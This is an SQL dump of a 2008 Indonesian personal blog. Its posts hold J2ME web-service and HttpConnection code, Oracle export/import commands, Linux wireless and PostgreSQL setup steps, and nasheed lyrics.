insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (115,'2008-08-25 17:06:09','Bedah Code Mobile Kamus','Bedah Code Mobile Kamus\r\n=======================\r\n<a href=\"http://code.google.com/p/mkamus/\">Mobile Kamus</a>\r\n\r\nSaatnya untuk bedah code dari Mobile Kamus. Setelah dirasa udah bisa jalan dengan stabil, yah ini lah saatnya show time bybe. hehe. Ok lets begin..!\r\n\r\nYang perlu diperhatikan adalah kita akan membagi proses kerja menjadi beberapa file. File project kita terdiri sebagai berikut:\r\n1. Kamus.java, Class ini mendeklarasikan sebagai Object Dari hasil pencarian kamus terdiri dari field: id, kata dan deskripsi\r\n\r\n2. KamusKSoap.java, Class ini digunakan untuk mengirim dan mengambil data dari Web Service yang ada di:\r\n<a href=\"http://mamat.amikom.ac.id/mkamus/mkamusws.php\">http://mamat.amikom.ac.id/mkamus/mkamusws.php</a>\r\n\r\n3. KamusParser.java, Class ini digunakan untuk memparsing data kembalian yang berupa XML dari class KamusKSoap.java\r\n\r\n4. MKamus.java, Class ini adalah Midlet biar untuk interface dari aplikasi Mobile Kamus kita.\r\n\r\nDalam menjalankan ini kita menggunakan framework KSoap. Silahkan download versi yang terbaru di:\r\n<a href=\"http://ksoap.objectweb.org/\">http://ksoap.objectweb.org/</a>\r\n\r\nUntuk Source Code MKamus selengkapnya bisa di Download di:\r\n<a href=\"http://code.google.com/p/mkamus/downloads/list\">http://code.google.com/p/mkamus/downloads/list</a>\r\n\r\nBerikut ini adalah code dari Kamus.java, yang merupakan Object Kamus\r\n[code]\r\n/*\r\n * Kamus.java\r\n *\r\n * Created on August 13, 2008, 11:05 PM\r\n *\r\n * To change this template, choose Tools | Template Manager\r\n * and open the template in the editor.\r\n */\r\n\r\npackage net.kamus.iwic.main;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class Kamus {\r\n private String id;\r\n private String kata;\r\n private String deskripsi;\r\n /** Creates a new instance of Kamus */\r\n public Kamus() {\r\n }\r\n\r\n public String getId() {\r\n return id;\r\n }\r\n\r\n public void setId(String id) {\r\n this.id = id;\r\n }\r\n\r\n public String getKata() {\r\n return kata;\r\n }\r\n\r\n public void setKata(String kata) {\r\n this.kata = kata;\r\n }\r\n\r\n public String getDeskripsi() {\r\n return deskripsi;\r\n }\r\n\r\n public void setDeskripsi(String deskripsi) {\r\n this.deskripsi = deskripsi;\r\n }\r\n \r\n}\r\n[/code]\r\n\r\nKamusKSoap.java, yang digunakan untuk melakukan request dan menangkap response dari web Service\r\n[code]\r\n/*\r\n * KamusKSoap.java\r\n *\r\n * Created on August 13, 2008, 11:24 PM\r\n *\r\n * To change this template, choose Tools | Template Manager\r\n * and open the template in the editor.\r\n */\r\n\r\npackage net.kamus.iwic.main;\r\n\r\nimport java.io.IOException;\r\nimport org.ksoap2.SoapEnvelope;\r\nimport org.ksoap2.SoapFault;\r\nimport org.ksoap2.serialization.SoapObject;\r\nimport org.ksoap2.serialization.SoapSerializationEnvelope;\r\nimport org.ksoap2.transport.HttpTransport;\r\nimport org.xmlpull.v1.XmlPullParserException;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class KamusKSoap {\r\n \r\n /** Creates a new instance of KamusKSoap */\r\n public KamusKSoap() {\r\n \r\n }\r\n \r\n public String getKamusWs(String kata) throws IOException {\r\n \r\n SoapObject client = new SoapObject(\"urn:MKamus\",\"getKamusEngIndo\");\r\n client.addProperty(\"kata\", kata);\r\n HttpTransport ht = new HttpTransport(\"http://mamat.amikom.ac.id/mkamus/mkamusws.php\");\r\n // Creating the Soap Envelope\r\n SoapSerializationEnvelope envelope = new SoapSerializationEnvelope(SoapEnvelope.VER11);\r\n envelope.bodyOut = client;\r\n\r\n // Call the WebService\r\n\r\n try {\r\n ht.call(\"getKamusEngIndo\", envelope);\r\n } catch (IOException ex) {\r\n ex.printStackTrace();\r\n } catch (XmlPullParserException ex) {\r\n ex.printStackTrace();\r\n }\r\n // Format the Result\r\n String result = null;\r\n try {\r\n result = envelope.getResponse().toString();\r\n } catch (SoapFault ex) {\r\n ex.printStackTrace();\r\n }\r\n return result;\r\n\r\n }\r\n \r\n}\r\n[/code]\r\n\r\nSource Code dari, KamusParser.java. Class ini digunakan untuk mem-parser data yang berupa XML lalu dimasukkan ke dalam Object Kamus dan disimpan kedalam Object Vector. Sekilas tentang Vector adalah Object yang bisa menyimpan sebuah Object, dan Object yang bisa disimpan lebih dari satu, ibaratnya seperti database sementara. Mirip dengan LIST tapi untuk J2ME tidak menyertakan fitur ini.\r\nDi Bundle KSOAP yang terbaru meyertakan KXML2, wang coding terasa lebih mudah. Klo yang KXML yang pertama masih radak ribet.\r\n[code]\r\n/*\r\n * KamusParser.java\r\n *\r\n * Created on August 13, 2008, 11:07 PM\r\n *\r\n * To change this template, choose Tools | Template Manager\r\n * and open the template in the editor.\r\n */\r\n\r\npackage net.kamus.iwic.main;\r\n\r\nimport java.io.ByteArrayInputStream;\r\nimport java.io.IOException;\r\nimport java.io.InputStreamReader;\r\nimport java.util.Vector;\r\nimport org.kxml2.io.KXmlParser;\r\nimport org.xmlpull.v1.XmlPullParser;\r\nimport org.xmlpull.v1.XmlPullParserException;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class KamusParser {\r\n /** Creates a new instance of KamusParser */\r\n public KamusParser() {\r\n }\r\n \r\n public Vector parserXMlKamus(String xml){\r\n ByteArrayInputStream is = new ByteArrayInputStream(xml.getBytes());\r\n Vector vec = new Vector();\r\n vec.removeAllElements();\r\n KXmlParser parser = new KXmlParser(); \r\n int index = 0;\r\n try {\r\n parser.setInput(new InputStreamReader(is));\r\n parser.next();\r\n parser.require(XmlPullParser.START_TAG, null,\"kamus\");\r\n while(parser.nextTag()!=XmlPullParser.END_TAG){\r\n parser.require(XmlPullParser.START_TAG,null, \"data\");\r\n while(parser.nextTag()!=XmlPullParser.END_TAG){ \r\n Kamus k = new Kamus();\r\n parser.require(XmlPullParser.START_TAG, null, \"id\");\r\n k.setId(parser.nextText());\r\n parser.require(XmlPullParser.END_TAG, null, \"id\");\r\n parser.nextTag();\r\n parser.require(XmlPullParser.START_TAG, null, \"kata\");\r\n k.setKata(parser.nextText());\r\n parser.require(XmlPullParser.END_TAG, null, \"kata\");\r\n parser.nextTag();\r\n parser.require(XmlPullParser.START_TAG, null, \"deskripsi\");\r\n k.setDeskripsi(parser.nextText());\r\n parser.require(XmlPullParser.END_TAG, null, \"deskripsi\");\r\n vec.addElement(k);\r\n index++;\r\n }\r\n parser.require(XmlPullParser.END_TAG, null, \"data\");\r\n }\r\n parser.require(XmlPullParser.END_TAG, null, \"kamus\");\r\n return vec;\r\n } catch (IOException ex) {\r\n //ex.printStackTrace();\r\n System.out.println(\"Excep\");\r\n } catch (XmlPullParserException ex) {\r\n //ex.printStackTrace();\r\n System.out.println(\"Parser\");\r\n }\r\n return vec;\r\n }\r\n}\r\n[/code]\r\n\r\nBerikut ini adalah potongan code MKamus.java<Midlet> untuk menjalankan Class Di Atas:\r\n[code]\r\nnew Thread(new Runnable() {\r\n public void run() {\r\n cariKata=tfKata.getString();\r\n KamusKSoap mKamusSoap;\r\n String xml = null;\r\n Vector v = new Vector();\r\n try {\r\n mKamusSoap = new KamusKSoap();\r\n KamusParser kp = new KamusParser();\r\n xml = mKamusSoap.getKamusWs(cariKata);\r\n try{\r\n v = kp.parserXMlKamus(xml);\r\n } catch (Exception e){\r\n e.printStackTrace();\r\n System.out.println(\"Errmmm\");\r\n }\r\n } catch (IOException ex) {\r\n ex.printStackTrace();\r\n }\r\n fHasilPencarian.deleteAll();\r\n boolean icek = false;\r\n for(int i=0;i<v.size();i++){\r\n Kamus k = (Kamus)v.elementAt(i);\r\n if(k.getId().equals(\"0\")){\r\n fHasilPencarian.append(new ImageItem(\"KATA TIDAK DITEMUKAN\", getINFoudn(),ImageItem.LAYOUT_DEFAULT,\"\"));\r\n fHasilPencarian.append(new StringItem(\"\'\"+cariKata+\"\'\",\"Wew MAAF..!, silahkan kirim KATA yang anda cari ke Email(mamat@amikom.ac.id) kami akan melengkapi databasenya :), TRIMA KASIH\"));\r\n } else {\r\n if(i==0){\r\n fHasilPencarian.append(new ImageItem(\"KATA DITEMUKAN\", getIFound(),ImageItem.LAYOUT_DEFAULT,\"\"));\r\n } else if(icek == false) {\r\n fHasilPencarian.append(new ImageItem(\"KATA YANG DITEMUKAN LAINNYA\", getIOther(),ImageItem.LAYOUT_DEFAULT, \"\"));\r\n icek=true;\r\n }\r\n fHasilPencarian.append(new StringItem(\"\"+k.getKata(), \"\"+k.getDeskripsi()));\r\n } \r\n }\r\n } \r\n}).start();\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (116,'2008-09-03 11:06:23','Damai Nan Indah :)','Damai Nan Indah\r\nAlbum : Lukisan Alam\r\nMunsyid : Hijjaz\r\n\r\nKepekatan malam dihiasi rembulan,\r\nSiang pula datang bersama sinaran mentari,\r\nDalam resahnya hati ini,\r\nKu turutkan langkah kaki,\r\nTak terasa ku lalui,\r\nJalan yang berliku-liku,\r\n\r\nKu jatuhkan pandangan,\r\nKu lihat jurang dalam,\r\nPenuh dengan onak duri,\r\nYang amat mengerikan,\r\n\r\nKu dongakkan kepala,\r\nKu lihat langit tinggi,\r\nTerbentang luas,\r\nTiada bertepi,\r\n\r\nCahayaMu indah,\r\nMenyinari hidupku ini,\r\nKasihMu tabah,\r\nMemupuk iman di jiwaku,\r\nDengan cahayamu,\r\nTerang pelita di hatiku,\r\nSyiarmu meluas,\r\nMusuhmu terpaku... Ya Allah...\r\n\r\nKalamMu indah,\r\nTerdengar merdu di telinga,\r\nMehnahMu itu mengajar menyedarkanku,\r\nKasihMu oh Tuhan,\r\nMembuat hatiku merindu,\r\nKu rasa indah di dalam rahmatMu...',1,1,6);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (117,'2008-09-05 16:04:19','HttpConnection Untuk Load String dan Image','HttpConnection Untuk Load String dan Image\r\n\r\nYak Biar gak bingung nyari-nyari lagi filenya, dan Biar mudah untuk mencarinya kembali. Berikut ini kita akan membahas bagaimana memanfaatkan HttpConnection pada J2ME.\r\n\r\nFunction ini sangat penting selain programing socket di J2ME. HttpConnection dalam pengaplikasiaannya sangat banyak, contoh: untuk menangkap webservice kita membutuhkannya, untuk browsing image juga kita membutuhkannya. HttpConnection sangat penting untuk melakukakan koneksi keluar.\r\n\r\n#Beriktu ini adalah contoh dari HttpConnection untuk mendapatkan String\r\n[code]\r\n/*\r\n * HttpConnection.java\r\n *\r\n * Created on December 18, 2007, 3:41 PM\r\n *\r\n */\r\n\r\npackage id.gov.bmg.amikom;\r\n\r\nimport java.io.IOException;\r\nimport java.io.InputStream;\r\nimport javax.microedition.io.Connector;\r\nimport javax.microedition.io.HttpConnection;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class StringHttpConnection {\r\n String url;\r\n /** Creates a new instance of HandlerHttpConnection */\r\n public StringHttpConnection (String url) {\r\n this.url=url;\r\n }\r\n \r\n public String getPage() throws IOException {\r\n \r\n StringBuffer b = new StringBuffer();\r\n InputStream is = null;\r\n HttpConnection c = null;\r\n try {\r\n long len = 0 ;\r\n int ch = 0;\r\n\r\n c = (HttpConnection)Connector.open(url);\r\n is = c.openInputStream();\r\n\r\n len =c.getLength() ;\r\n if ( len != -1) {\r\n // Membaca panjang byte yang diterima\r\n for (int i =0 ; i < len ; i++ )\r\n if ((ch = is.read()) != -1)\r\n b.append((char) ch);\r\n } else {\r\n // Membaca sampek koneksi terputus\r\n while ((ch = is.read()) != -1) {\r\n len = is.available() ;\r\n b.append((char)ch);\r\n }\r\n }\r\n //kembalikan dalam bentuk String, dari Hasil StringBuffer\r\n return (b.toString());\r\n } finally {\r\n is.close();\r\n c.close();\r\n }\r\n }\r\n}\r\n[/code]\r\n\r\n#Dalam mengambil gambar menggunakan HttpConnection, kita perlu trik. Hehe tapi gak begitu rumit amat sih. Berikut ini source codenya:\r\n[code]\r\n/*\r\n * ImageLoad.java\r\n *\r\n * Created on May 1, 2008, 10:36 PM\r\n *\r\n */\r\n\r\npackage main;\r\n\r\nimport java.io.DataInputStream;\r\nimport java.io.IOException;\r\nimport javax.microedition.io.Connector;\r\nimport javax.microedition.io.HttpConnection;\r\nimport javax.microedition.lcdui.Image;\r\n\r\n/**\r\n *\r\n * @author mamat-dev\r\n */\r\npublic class ImageHttpConnection {\r\n Image img;\r\n \r\n /** Creates a new instance of ImageLoad */\r\n public ImageHttpConnection (String url) {\r\n this.img = loadImage(url);\r\n \r\n }\r\n \r\n public Image getImage(){\r\n return this.img;\r\n }\r\n \r\n public Image loadImage(String url){\r\n HttpConnection hc = null;\r\n DataInputStream in = null;\r\n\r\n try {\r\n hc = (HttpConnection)Connector.open(url);\r\n int length = (int)hc.getLength();\r\n byte[] data = null;\r\n if (length != -1) {\r\n data = new byte[length];\r\n in = new DataInputStream(hc.openInputStream());\r\n in.readFully(data);\r\n }else {\r\n // Jika panjang file tidak diberikan(data stream), maka ambil perpotong-potong(chunk).\r\n int chunkSize = 512;\r\n int index = 0;\r\n int readLength = 0;\r\n in = new DataInputStream(hc.openInputStream());\r\n data = new byte[chunkSize];\r\n do {\r\n if (data.length < index + chunkSize) {\r\n //tangkap byte datanya\r\n byte[] newData = new byte[index + chunkSize];\r\n System.arraycopy(data, 0, newData, 0, data.length);\r\n data = newData;\r\n }\r\n readLength = in.read(data, index, chunkSize);\r\n index += readLength;\r\n } while (readLength == chunkSize);\r\n length = index;\r\n }\r\n //rubah data byte kedalam bentuk Image, dan kembalikan ;)\r\n Image image = Image.createImage(data, 0, length);\r\n return image;\r\n } catch (IOException ioe) {\r\n return null;\r\n } finally {\r\n try {\r\n if (in != null) in.close();\r\n if (hc != null) hc.close();\r\n } catch (IOException ioe) {}\r\n }\r\n }\r\n}\r\n\r\n[/code]\r\n\r\nSetelah Membuat Class di atas, lalu bagaimana cara menggunakan. Karena Class ini memerlukan kinerja processor pada hardware mobile, kita harus menggunakan THREAD biar HandPhone kita tidak Hang hehe:P. Berikut ini contohnya\r\n[code]\r\nnew Thread(new Runnable() {\r\n public void run() {\r\n form1.deleteAll();\r\n \r\n ImageHttpConnection il = new ImageHttpConnection (\"http://xxx/www/java/mamat/tiwul.gif\");\r\n \r\n form1.append(il.getImage());\r\n\r\n StringHttpConnection sl = new StringHttpConnection (\"http://xxx/www/java/mamat/getux.php\");\r\n \r\n form1.append(sl.getPage() );\r\n \r\n \r\n }\r\n}).start(); \r\n\r\n[/code]',1,1,3);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (118,'2008-09-10 14:53:41','Adobe FLEX Tested','Belajar FLEX\r\n<a href=\"http://flex.org\">flex.org</a>,<a href=\"www.adobe.com/products/flex/\">www.adobe.com/products/flex/</a>\r\n\r\nHehe setelah bermain-main dengan <a href=\"http://www.extjs.com\">extjs (framework ajax yang ciamik)</a>, lalu ada temen yang ngasih liat project dia yang pakek Adobe Flex, wah kok bisa goyang goyang, animasi keren, ringan, cuma load awalnya aja yang lambat, tapi secara keseluruhan Huanddall Pengen aku hehe :P.\r\n\r\nSedikit cerita tentang Adobe FLEX, merupakan tool untuk membuat aplikasi FLASH, seperti JAVA APPLET, namun klo di JAVA APPLET klo mau buat animasi hehe susahnya setengah mati. Namun ketika kita develop dengan FLEX hehe mudahnya minta ampyuun, sayang untuk buildernya yang biar ketika bikin tombol, data grid, dan kawan-kawan tinggal drag and drop tidak digratisin alias mbaayar. Tetapi kita mesti bersukur karena SDKnya gratis.\r\n\r\nJadi sekenario untuk membikin project menggunakan FLEX seperti JAVA pada umumnya, kita bikin source codenya dulu lalu kita compile menggunakan SDKnya. Berikut ini cara meng-compile, biar ada pandangan dulu dengna FLEX hehe. \r\n\r\nCara Ng-Compile\r\n---------------\r\nC:\\Documents\\FlexTest> mxmlc FlexTest.mxml\r\n\r\nUntuk Scriptnya sangat mudah sekali, yang perlu diperhatikan adalah akan terjadi pemisahan antara tampilan dan script. Jadi nanti kita tinggal menaruh function pada attribut even yang komponen punya.\r\n\r\nSilahkan download SDKnya disitu ada folder sample, dijelaskan beserta contoh penggunaan function-funtion dan komponen-komponennya :P.\r\n\r\nBagaiman Integrasi denga PHP, ASP, JAVA, dll...\r\n------------------------------------------------\r\nNah ini yang menarik, FLEX dirancang untuk menjadi SMART CLIENT, jadi aplikasi untuk melakukan koneksi dengan webservice. FLEX emang dirancang untuk interfacenya aja, sedang logical bisnis dan tentang koneksi ke database dia menyerahkan ke lainya, makanya Server Side Programing sangat diperlukan untuk Membuat lebih INTERAKTIF dan Dynamic. Dan ini sangat mudah kita tinggal memanggil menggunakan URLRequest dan mengiri HTTPHeader seperti:PUT, POST, DELETE, dan GET. Untuk balikan data berupa XML Kita bisa parsing menggunakan JSON yang sudah ada di Flex :).\r\n\r\nFlex juga punya DATABASE\r\n------------------------\r\nNamun database disimpan dalam bentuk file class yang digunakan \"flash.filesystem.File\", yah klo ini scurity gak jaminan dah :P. Sedangkan method menggunakan \"flash.dataSQLConnection\"\r\n\r\nBuilder Versi Beta\r\n------------------\r\n<a href=\"macromedia-flex.en.softonic.com\">macromedia-flex.en.softonic.com</a>',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (119,'2008-09-11 18:37:50','Cara Export/Import ORACLE','Cara Export/Import oracle\r\n\r\nBiar gak lupa lagi hehe :P, Cara Export dan Import di Database Oracle sangat mudah(Kalo ngerti hehe), sempat bingung nyari 15 menitan, karena mendadak mesti ada database yagn harus dibackup dan dijalankan dimesin lain. Berikut ini adalah contoh perintah untuk Export/import database di ORacle.\r\n\r\nEXPORT\r\n======\r\n[code]\r\n//ini akan mengexsport seluruh database yang menggunakan user scot\r\nexp scot/tiger file=emp.dmp \r\n\r\n//ini akan mengexsport seluruh database yang menggunakan user scot melalui remote\r\nexp scot/tiger@10.1.15.3 file=emp.dmp \r\n\r\n//ini akan mengexport berdsara tabel saja\r\nexp scott/tiger file=emp.dmp log=emp.log tables=emp rows=yes indexes=no\r\nexp scott/tiger file=emp.dmp tables=(emp,dept)\r\n[/code]\r\n\r\nIMPORT\r\n======\r\n[code]\r\nimp scott/tiger file=emp.dmp full=yes\r\nimp scott/tiger file=emp.dmp fromuser=scott touser=scott tables=dept\r\n[/code]\r\n\r\n\r\nEXPORT MENGGUNAKAN FILE SETTING\r\n===============================\r\n[code]\r\nexp userid=scott/tiger@orcl parfile=export.txt\r\n\r\nisi export.txt:\r\n--------------\r\nBUFFER=100000\r\nFILE=account.dmp\r\nFULL=n\r\nOWNER=scott\r\nGRANTS=y\r\nCOMPRESS=y\r\n[/code]',1,1,8);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (120,'2008-09-17 19:32:49','Lukisan Alam','Lukisan Alam\r\nMunsyid : Hijjaz\r\n\r\nHidup tidak selalunya indah\r\nLangit tak selalu cerah\r\nSuram malam tak berbintang\r\nItulah lukisan alam\r\nBegitulah aturan Tuhan\r\n\r\nJadilah rumput nan lemah lembut\r\ntak luruh dipukul ribut\r\nBagai karang didasar lautan\r\nTak terusik dilanda badai\r\n\r\nDalam sukar... hitunglah kesyukuranmu\r\nDalam senang... awasi kealpaanmu\r\nSetitis derita melanda\r\nSegunung KurniaanNya\r\n\r\nUsah mengaharpkan kesenangan\r\nDalam perjuangan perlu pengorbanan\r\nUsah dendam berpanjangan\r\nMaafkan kesalahan insan\r\n\r\nDalam diam... taburkanlah baktimu\r\nDalam tenang... buangkanlah amarahmu\r\nSuburkanlah sifat sabar\r\nDalam jiwamu itu\r\nDi dalam jiwamu itu',1,1,5);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (121,'2008-09-19 10:39:01','Setting Wireless ke Access Point di Linux/Console','Setting Wireless ke Access Point di Linux/Console\r\n(dicatet lagi biar gak lupa, dan enak nyarinya)\r\n\r\nHmm karena baru sekarang wireless di Accer Aspire 5583 NWXMi berhasil diinstall,\r\nhehe :P. Dan berjalan dengan baik sekali, berikut ini adalah cara konfigurasi Wi\r\nreless menggunakan Console linux:\r\n\r\nSCANNING Sinyak Access Point di sekitar kita\r\n[code]\r\nroot@mamat-laptop:/home/mamat# iwlist wlan0 scanning\r\nwlan0 Scan completed :\r\n Cell 01 - Address: 00:1C:10:E9:56:90\r\n ESSID:\"Krakatau\"\r\n Mode:Master\r\n Channel:1\r\n Frequency:2.412 GHz (Channel 1)\r\n Quality=57/100 Signal level=-74 dBm Noise level=-85 dBm\r\n Encryption key:off\r\n Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s\r\n 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s\r\n 48 Mb/s; 54 Mb/s\r\n Extra:tsf=0000000363a95c9b\r\n Cell 02 - Address: 00:19:5B:5E:2F:3E\r\n ESSID:\"Y8-Indramayu\"\r\n Mode:Master\r\n Channel:6\r\n Frequency:2.437 GHz (Channel 6)\r\n Quality=33/100 Signal level=-89 dBm Noise level=-85 dBm\r\n Encryption key:off\r\n Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s\r\n 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s\r\n 48 Mb/s; 54 Mb/s\r\n Extra:tsf=00000003630ae5b1\r\n[/code]\r\n\r\nJika sudah mendapatkan list Access Point daftarkan ESSIDnya\r\n[code]\r\nroot@mamat-laptop:/home/mamat# iwconfig wlan0 essid \"Krakatau\"\r\n[/code]\r\n \r\nJika menggunakan Key/Password\r\n[code]\r\n//jika menggunakan enkripsi string\r\nroot@mamat-laptop:/home/mamat# iwconfig wlan0 key s:1212121212\r\n\r\n//jika menggunakan enkripsi Hexa\r\nroot@mamat-laptop:/home/mamat# iwconfig wlan0 key ababababab\r\n[/code]\r\n\r\nMenggunakan DHCP\r\n[code]\r\nroot@mamat-laptop:/home/mamat# dhclient wlan0\r\nInternet Systems Consortium DHCP Client V3.0.6\r\nCopyright 2004-2007 Internet Systems Consortium.\r\nAll rights reserved.\r\nFor info, please visit http://www.isc.org/sw/dhcp/\r\n\r\nwmaster0: unknown hardware address type 801\r\nwmaster0: unknown hardware address type 801\r\nListening on LPF/wlan0/00:18:de:69:f0:44\r\nSending on LPF/wlan0/00:18:de:69:f0:44\r\nSending on Socket/fallback\r\nDHCPDISCOVER on wlan0 to 255.255.255.255 port 67 interval 8\r\nDHCPOFFER of 10.1.132.170 from 10.1.132.1\r\nDHCPREQUEST of 10.1.132.170 on wlan0 to 255.255.255.255 port 67\r\nDHCPACK of 10.1.132.170 from 10.1.132.1\r\nbound to 10.1.132.170 -- renewal in 39241 seconds.\r\n[/code]\r\n\r\nAda cara yang paling mudah adalah menggunakan \"wifi-radar\" -- hehe baru tau.\r\nSilahkan install dan jalankan sangat mudah digunkan.\r\n[code]\r\nroot@mamat-laptop:/home/mamat# apt-get install wiri-radar\r\n[/code]',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (122,'2008-10-30 17:58:11','Karena Belajar untuk Berbagi','Imam Syafi\'i Muda, mencatat sejarah dengan umurnya yang belum genap 20 tahun. Beliau ketika malam tiba, malampun beliau bagi menjadi tiga. Sepertiga untuk ibadah, sepertiga untuk menulis dan sepertiga lagi untuk istirahat.\r\n\r\nMari saatnya Blog menjadi ajang dokumentasi ilmu yang kita kuasai, baik ilmu dunia maupun ilmu akhirat. \r\n\r\nKARENA BELAJAR untuk BERBAGI. \r\n\r\nSama halnya ketika MACAN mati meninggalkan BELANG, GAJAH mati meninggalkan GADING, dan lain lain. Seharusnya ketika kita belajar JAVA akan muncul tutorial JAVA, ketika belajar POSTGRESQL akan muncul tutorial POSTGRESQL, dan belajar lainnya akan muncul tutorial lainnya. \r\n\r\nWah Saya tidak punya waktu untuk menulis? \r\n\r\nWah ya..! Kita tidak punya waktu atau tidak mau mengalokasikan waktu?. \r\n\r\nDalam Islam yang akan ditanyakan di AKHIRAT kelak, salah satunya adalah UMUR Kita, umur kita disini lebih diibaratkan sebagai waktu yang telah Allah berikan kepada kita. Umur kita digunakan untuk apakah selama di dunia?\r\n\r\nUntuk memberikan manfaat atau membuat kerusakan atau malah hidup gak jelas tanpa tujuan. Weleh sedihnya kalau melihat masa lalu. Tapi masa lalu untuk dicatat dan dipelajari demi kemajuan untuk waktu sekarang dan untuk waktu masa depan kita, bukan malah untuk disesali.\r\n\r\n\r\n<i>Ku jatuhkan pandangan,\r\nKu lihat jurang dalam,\r\nPenuh dengan onak duri,\r\nYang amat mengerikan,\r\n\r\nKu dongakkan kepala,\r\nKu lihat langit tinggi,\r\nTerbentang luas,\r\nTiada bertepi,\r\n\r\nDamai Nan Indah\r\nAlbum : Lukisan Alam\r\nMunsyid : Hijjaz\r\n</i>\r\n',1,1,7);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (123,'2008-11-14 04:30:47','INSTALL POSTGRESQL di Linux','INSTALL POSTGRESQL\r\n\r\nPENDAHULUAN\r\n\r\nPostgreSQL adalah Object-relational Database Management System, yang gratis. PostgreSQL mempunyai fitur-fitur yang handal, sangat cepat dan stabil.\r\n\r\nPostgreSQL juga men-support berbagai bahasa pemograman seperti Java, C, Python, PHP, Ruby...dll. PostgreSQL mampu menangani data mulai dari web aplikasi ringan sampai dengan database skala besar dengan jutaan record data.\r\n\r\nINSTALLATION\r\nUntuk installasi sangat mudah, dalam study case saat ini penulis menggunakan UBUNTU. Berikut ini adalah langkah-langkahnya:\r\n\r\nInstall Server PostgreSQL dan pastikan anda login sebagai root\r\n[code]\r\n[mamat@localhost]$sudo su\r\n[root@localhost ~]#apt-get install postgresql\r\n[/code]\r\n\r\nInstall pgAdmin, pgAdmin adalah UI untuk mempermudah mengelola PostgreSQL, namun untuk server penulis sarankan untuk tidak meng-install karena esensi dari server adalah sebagai penampung dan pengolah data super berat. pgAdmin bisa anda install di pc client untuk monitoring jangan membebani server dengan aplikasi sampah yang bukan berisifat server.\r\n[code]\r\n[root@localhost ~]#apt-get install pgadmin3\r\n[/code]\r\n\r\nSTANDAR SETUP SERVER PosgreSQL\r\n\r\nUntuk menjalankan pertama kali kita harus merubah password default dari PostgreSQL.\r\n[code]\r\n[root@localhost ~]#postgres psql postgres\r\n[/code]\r\n\r\nKemudian di prompt baru ketik password baru anda\r\n[code]\r\nALTER USER postgres WITH ENCRYPTED PASSWORD \'password_anda\';\r\n\\q\r\n[/code]\r\n\r\nContoh buat database baru\r\n[code]\r\n[root@localhost ~]#postgres createdb database_anda_db\r\n[/code]\r\n\r\nCara menjalan script SQL dari file external\r\n[code]\r\n[root@localhost ~]#postgres -c psql < /usr/mamat/database/cihui_db.sql\r\n[/code]\r\n\r\nTerakhir, kita perlu untuk membuka server agar bisa diakses dan di remote dari luar, karena default settingan dari database PostgreSQL ini diarahkan ke localhost sehingga tidak bisa diaksess dari luar. Berikut ini adalah cara membukannya\r\nmasuk ke file \"portgresql.conf\":\r\n[code]\r\n[root@localhost ~]#vim /etc/postgresql/8.3/main/postgresql.conf\r\n[/code]\r\n\r\nSekarang edit pada garis \"Connections and Authentication\"\r\nGanti pada baris:\r\n[code]\r\n#listen_addresses = \'localhost\'\r\n[/code]\r\nhilangkan pagar dan rubah menjadi\r\n[code]\r\nisten_addresses = \'*\'\r\n[/code]\r\n\r\ndan juga ganti line:\r\n[code]\r\n#password_encryption = on\r\n[/code]\r\nhilangkan tanda pagar menjadi \r\n[code]\r\npassword_encryption = on\r\n[/code]\r\n\r\nsimpan \r\n\r\nSekarang adalah langkah terakhir, kita harus mendefinisikan siapa saja yang bisa mengaksess server. Semua ini berada dalam file \'pg_hba.conf\'\r\n[code]\r\n[root@localhost ~]#vim /etc/postgresql/8.3/main/pg_hba.conf\r\n[/code]\r\n\r\nBerikomentar \"#\", atau hapus saja kemudian tambahkan text berikut ini...sesuaikan dengan kepentingan server anda. ;)\r\n[code]\r\n USER CIDR-ADDRESS METHOD\r\n\r\n# \"local\" is for Unix domain socket connections only\r\nlocal all all md5\r\n# IPv4 local connections:\r\nhost all all 127.0.0.1/32 md5\r\n# IPv6 local connections:\r\nhost all all ::1/128 md5\r\n\r\n# Connections for all PCs on the subnet\r\n#\r\n# TYPE DATABASE USER IP-ADDRESS IP-MASK METHOD\r\nhost all all [ip address] [subnet mask] md5\r\n[/code]\r\n\r\n\r\n\"KArena Belajar untuk Berbagi\", by mamat',1,1,4);
